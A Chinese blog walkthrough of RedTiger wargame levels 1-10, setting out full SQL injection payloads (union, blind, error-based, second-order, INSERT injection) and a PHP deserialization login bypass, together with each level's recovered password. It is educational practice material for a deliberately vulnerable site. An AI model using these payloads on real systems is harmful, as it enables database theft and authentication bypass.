RedTiger level1-10做题心得与解法

2023-10-25 04:40

本文主要是介绍RedTiger level1-10做题心得与解法,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Redtiger地址
wechall上的加分地址

文章目录

    • level 1
    • level 2
    • level 3
    • level 4
    • level 5
    • level 6
    • level 7
    • level 8
    • level 9
    • level 10

level 1

从Category注入,数字型
order by 4
union select 1,2,3,4
无法查看information.schema
猜测level1_users的列名,没有user列或者说屏蔽了,因此猜测是password的第一条
select group_concat(column_name) from information_schema.columns where table_name = 0x6C6576656C315F7573657273

select password from level1_users limit 1

payload:cat=1 union select 1,2,3,(select password) from level1_users limit 1#

The password for the next level is: passwords_will_change_over_time_let_us_do_a_shitty_rhyme

level 2

很简单的注入
Password: ’ or 1=1 #

The password for the next level is: feed_the_cat_who_eats_your_bread

level 3

错误信息不回显
尝试直接报错注入不行
extractvalue(rand(),concat(0x7e,(database()),0x7e))

报错
usr[]=

得到加密的php

构造sql语句并加密

Admin’ order by 7#
共有7列

但是没有一列显示,应该是在显示的时候只选择显示了第一行
尝试报错注入也不行,应该是通过php语句强行只显示一行
union一下自己的语句,然后通过order排序将自己的语句排到第一位显示

Admin’ union select 1,(select group_concat(password) from level3_users),3,4,5,6,7 order by 1#

The password for the next level is: put_the_kitten_on_your_head

level 4

题目很明显地提示了这是盲注,那就构造盲注语句

id=1 and if(1=1,benchmark(1000000,select 1),1)#

尴尬,不能使用benchmark,那就尝试布尔盲注

在这里插入图片描述

id=1 and if(1=1,true,false)

通过返回值判断,如果正确返回1 rows.

如果错误则返回0 rows.

首先判断长度

id=1 and if(length(select keyword from level4_secret limit 1)=20,true,false)

但是这道题目的长度好像求不出来(尴尬,后面发现原来是我上面的sql语句写错了)

正确的求长度语句应该是

id=1 and if((select length(keyword) from level4_secret limit 1) = 21,true,false)

然后开始判断字母

判断字母

id=1 and if(ascii(substr((select keyword from level4_secret limit 1),1,1))>0,true,false)

得到结果

killstickswithbr1cks!

The password for the next level is: this_hack_it’s_old

level 5

题目提示

  1. 不是盲注
  2. 密码是md5加密的
  3. 注意登录错误

首先先找一下注入点

登录名母庸置疑是admin,但是好像直接屏蔽了admin,即使是只输入了admin,也会显示错误。

因此尝试用户名不输入admin,然后添加’’,发现界面会显示错误信息,可以,成功一半了。
在这里插入图片描述

报错注入不好使,感觉得构造admin,因此题目屏蔽了substr和mid,left也屏蔽了。

尝试了

  • ad’ or ‘admin’#
  • adadminmin
  • AdMin(各类大小写)
  • concat(‘ad’,‘min’)
  • ad/**/min

应该是语句里面包含admin都会报错

用’ order by 语句或者’ select 1,2…语句都可以得到这张表只有两列

此时可以构造自己的用户名和密码绕过登录,在wechall上也有同样方法的题目,思路是这样:

因为在username这一栏是从数据库中获得两列数据,不难猜到一个是用户名,一个是密码,此时如果我们输入username=’#,那么返回的就是一个空,但是呢,如果我们在后面union一个我们虚构的用户名和密码,那么这个sql语句返回的就是我们的用户名和密码,即使数据库里没有这一条数据。代码如下:

username=’ union select “1”,md5(1)#

这样我们就虚构了一个用户名为1,密码为md5(1)的数据信息,此时在password栏写上1,就可以绕过登录了。

这个方法适用于没有回显,并且报错注入不能用,但是用户名和密码是分开验证的情况下。

The password for the next level is: the_stone_is_cold

level 6

user是注入点,是数字型注入。

user=1 order by 5#

测试得列数为5

使用union select 1,2,3,4,5#发现不回显,可能也是只显示一行,使用order by测试,猜测第一列是user值,第五列是status值,但是如果把数字列排到前面会显示无user,应该是进行了两次sql查询

思路——二次注入

php中应该是先通过user值查询,再根据查询得到的用户名或者其他信息将用户名和邮箱地址打印出来

第一个查询是数字类型,第二个查询是字符串

语句如下

select 1,2,3,4,5

select * from level6_users

联合起来就是下面这句,但是因为屏蔽了’所以用十六进制来代替

user=0 union select 1,’ union select 1,2,3,4,5 from level6_users limit 1#,3,4,5#

user=0 union select 1,0x2720756e696f6e2073656c65637420312c322c332c342c352066726f6d206c6576656c365f7573657273206c696d6974203123,3,4,5#

发现第二位是username,第4位是email

user=0 union select 1,’ union select 1,username,3,password,5 from level6_users where status=1#,3,4,5#

0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123

最后完整语句

user=0 union select 1,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5#

The password for the next level is: shitcoins_are_hold

level 7

初步判断,从search栏输入关键字,在下面输出包含关键字的文章,sql语句用的应该是like

从报错信息可以得到有两张表

text.idtext.titletext.text
news.idnews.autor

屏蔽了order # 空格

SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE ‘%注入点%’ OR text.title LIKE ‘%注入点%’)

发现注释都被过滤了,#是直接过滤了,/**/也被过滤了,而如果输入-- 和–+都被过滤了,看了网上的一些解析,发现是用换行符的url编码来代替空格,但是我在search栏里面写了很多种办法都是数据库报错,这时我就有些疑惑了,然后去抓包,发现我在search栏里输入的空格都变成了+号,难怪sql语句错误,所以这道题要对数据包进行直接更改。知道了这点接下来就都是常规操作了,求列数,看回显,然后把所有的作者打印出来就行了。

payload:search=3333’) union select 1,2,(select group_concat(autor) from level7_news),4–%a0&dosearch=search%21

然后就是一个一个试过去就行了,也可以通过两张表联合起来再找,不过有些麻烦,不如这样方便。

The password for the next level is: or_so_i’m_told

level 8

email可注入,应该把注释过滤了

ICQ和Age都是字符型,都把’转义了,按照错误提示

这是修改数据库内容,因此应该是update语句

update 表名

set ‘’ = ‘’,’’=’’

where ‘’’

这也正好对应了报错语句

猜测sql语句为:

update level8_update

set name=’’,email=’’,icq=’’,age=’’

WHERE id = 1

因为是不可能更改密码的,所以我们要构造语句使得密码显示出来,而这道题表和列名都没有给出,因此很容易就可以想到报错注入,在这道题目中,icq和age中’都被转义了,因此可以在email中添加一个’,在age中添加一个#,使得email的值为**’’,icq=’’,age=’**,这样我们就可以在age的#前面添加报错语句了,事实上我这样确实成功了。

模板如下:

email=’

icq=

age=报错语句#

报错语句如下

  • 爆数据库—— and extractvalue(1,concat(0x7e,database(),0x7e))

    • 得到数据库名
    • 在这里插入图片描述
  • 爆表—— and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 15,1),0x7e))

    • 得到表名,因为只能显示三个,所以我一个一个试过去了,可能有直接显示的办法,但我目前还做不到,发现第十六张表是level8_users
    • 在这里插入图片描述
  • 爆列名——and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x6c6576656c385f7573657273),0x7e))

    • 因为转义了单引号,因此用十六进制表示表名
    • 在这里插入图片描述
  • 爆数据——and extractvalue(1,concat(0x7e,(select ll8.password from (select l8.password from level8_users l8) ll8 limit 1),0x7e))

    • 这里好坑爹啊,因为在mysql中,update后的FROM后面不能接该表,所以需要一个中间过程,将我们需要的数据通过中间表再select一遍,同时需要取两个别名防止重名,不过结果是好的,得出flag了

    • 在这里插入图片描述

    • p.s.我是盲猜密码是第一行的

The password for the next level is: network_pancakes_milk_and_wine

level 9

先在每一个输入处都加个单引号测试一下,发现在text内容里输入’会报错,那注入点八九不离十就是这里了。

初步判断这是insert语句,而且题目也说需要得到反馈,那就应该也是报错注入(后面发现不对)

insert语句格式如下

INSERT INTO table_name ( field1, field2,...fieldN )VALUES( value1, value2,...valueN );

因此对于这道题,应该是

insert into ‘’’’’ (‘name’,‘title’,‘text’) values (‘内容’,‘内容’,‘在此注入’)

用了很多种方法发现注释全部都被过滤了,这时就很迷茫,后来看到了别人的payload才恍然大悟,既然不能使用注释,那就把name,title里的值合在一起形成一条记录,然后自己构造一条新的记录,语句结构如下

INSERT INTO table_name ( field1, field2,...fieldN )VALUES(value1), (value2),...(valueN);

因此payload如下:

name:123

title:123

text:1’),((select username from level9_users limit 1),(select password from level9_users limit 1),'123

然后就能得到用户名密码了。

感悟:对于sql语句得要非常熟悉啊,不过话说level 8的报错应该可以把每道题的数据都爆出来-。-

The password for the next level is: whatever_just_a_fresh_password

level 10

开始只有一个Login按钮,检查网页源码发现了一个隐藏的文本框,先修改type属性为text,发现里面有一串密码,每次都改属性挺麻烦的,于是在Burp Suite上操作。

首先先对默认的密码进行解码(Base64),得到

a:2:{s:8:“username”;s:6:“Monkey”;s:8:“password”;s:12:“0815password”;}

发现这是一个php序列化的字符串,然后因为没有这方面的知识,所以去百度了一下,知道了数据库一个有技巧的东西,当where语句后面的条件语句的莫一变量为真时,该语句会变成真但是得到的是一个空,因此可以用来绕过if验证,那么payload就很明显了

payload:a:2:{s:8:“username”;s:9:“TheMaster”;s:8:“password”;b:1;}

The password for the hall of fame is: make_the_internet_great_again


最后放上一张wechell上的截图,差一个就全部是我了哈哈,虽然没什么用,但是自己纪念一下
在这里插入图片描述

如有错误望大家指正
交流qq:1020328970

这篇关于RedTiger level1-10做题心得与解法的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/280086

相关文章

poj 3974 and hdu 3068 最长回文串的O(n)解法(Manacher算法)

求一段字符串中的最长回文串。 因为数据量比较大,用原来的O(n^2)会爆。 小白上的O(n^2)解法代码:TLE啦~ #include<stdio.h>#include<string.h>const int Maxn = 1000000;char s[Maxn];int main(){char e[] = {"END"};while(scanf("%s", s) != EO

2015多校联合训练第一场Assignment(hdu5289)三种解法

题目大意:给出一个数列,问其中存在多少连续子序列,子序列的最大值-最小值< k 这题有三种解法: 1:单调队列,时间复杂度O(n) 2:RMQ+二分,时间复杂度O(nlogn) 3:RMQ+贪心,时间复杂度O(nlogn) 一:RMQ+二分 RMQ维护最大值,最小值,枚举左端点i,二分找出最远的符合的右端点j,答案就是ans += j - i+1;(手推一下就知道) 比如1 2 3

OpenGL/GLUT实践:流体模拟——数值解法求解Navier-Stokes方程模拟二维流体(电子科技大学信软图形与动画Ⅱ实验)

源码见GitHub:A-UESTCer-s-Code 文章目录 1 实现效果2 实现过程2.1 流体模拟实现2.1.1 网格结构2.1.2 数据结构2.1.3 程序结构1) 更新速度场2) 更新密度值 2.1.4 实现效果 2.2 颜色设置2.2.1 颜色绘制2.2.2 颜色交互2.2.3 实现效果 2.3 障碍设置2.3.1 障碍定义2.3.2 障碍边界条件判定2.3.3 障碍实现2.3.

小杨做题c++

题目描述 为了准备考试,小杨每天都要做题。第1天,小杨做了a道题;第2天,小杨做了b道题;从第3天起,小杨每天做的题目数量是前两天的总和。 此外,小杨还规定,当自己某一天做了大于或等于m题时,接下来的所有日子里,他就再也不做题了。 请问,到了第N天,小杨总共做了多少题呢? 输入 总共4行。第一行一个整数a,第二行一个整数b,第三行一个整数m,第四行一个整数N。 保证0≤a,b≤10; a,b

knime和Python两种解法提取斜杠(/)或反斜杠(\)分隔前后数据

有如下数据,需要对数据处理,输出客户需要的效果。 数据样例:👇 客户想要的效果: 解决办法: 链接: knime和Python两种方式解法提取斜杠(/)或反斜杠(\)分隔前后数据 今天的分享就到这里了。有收获的小伙伴,记得点赞、收藏、分享哦! 如果您对本次分享的内容感兴趣的话,记得关注关注哦!不然下次找不到喽! 关注不迷路哦! “好记性不如烂笔头”,IT小本本 —— 记录I

招聘面试程序员的一些心得

         最近雅虎北研解散的消息触动了各大互联网公司 HR 的神经。公司里一下子面试的任务多了起来。正好借机会总结一下自己毕业后作面试官以来参与若干场技术面试的一点心得,分享一下。        当好一个面试官其实也很不容易,不但要练就一双火眼金睛,把优秀的人才和水货在短短的面试的几十分钟里分辨出来,同时面试官本身就是候选人观察公司的一个窗口。在面试中,面试官还要注意很多接人待

leetcode:908. 最小差值 I(python3解法)

难度:简单 给你一个整数数组 nums,和一个整数 k 。 在一个操作中,您可以选择 0 <= i < nums.length 的任何索引 i 。将 nums[i] 改为 nums[i] + x ,其中 x 是一个范围为 [-k, k] 的整数。对于每个索引 i ,最多 只能 应用 一次 此操作。 nums 的 分数 是 nums 中最大和最小元素的差值。  在对  nums 中的每个索引最多应

[算法]单调栈解法

目录 739. 每日温度 - 力扣(LeetCode)  42. 接雨水 - 力扣(LeetCode) 84. 柱状图中最大的矩形 - 力扣(LeetCode) 739. 每日温度 - 力扣(LeetCode)  解法: 通常是一维数组,要寻找任一个元素的右边或者左边第一个比自己大或者小的元素的位置,此时我们就要想到可以用单调栈了。 1.在本题中,其实就是,找到一个元素右边

数论 - n元线性同余方程的解法

note:n元线性同余方程因其编程的特殊性,一般在acm中用的很少,这里只是出于兴趣学了一下 n元线性同余方程的概念:   形如:(a1*x1+a2*x2+....+an*xn)%m=b%m           ..................(1) 当然也有很多变形,例如:a1*x1+a2*x2+...+an*xn+m*x(n+1)=b.这两个都是等价的。 判断是否有解:

android4.4的Keyguard心得

在总结锁屏代码之前,有两个中心思想要铭记于心 A) KeyguardHostView就是我们最终所要展示的界面,所以不论用什么方法手段,都要将这个KeyguardHostView添加到窗口中,后续填充它,都是细节问题 B) 那么问题来了,通常我们将一个view添加到窗口中会用什么方法呢?          答案有两种 1 WindowManager.addView()  2 Lay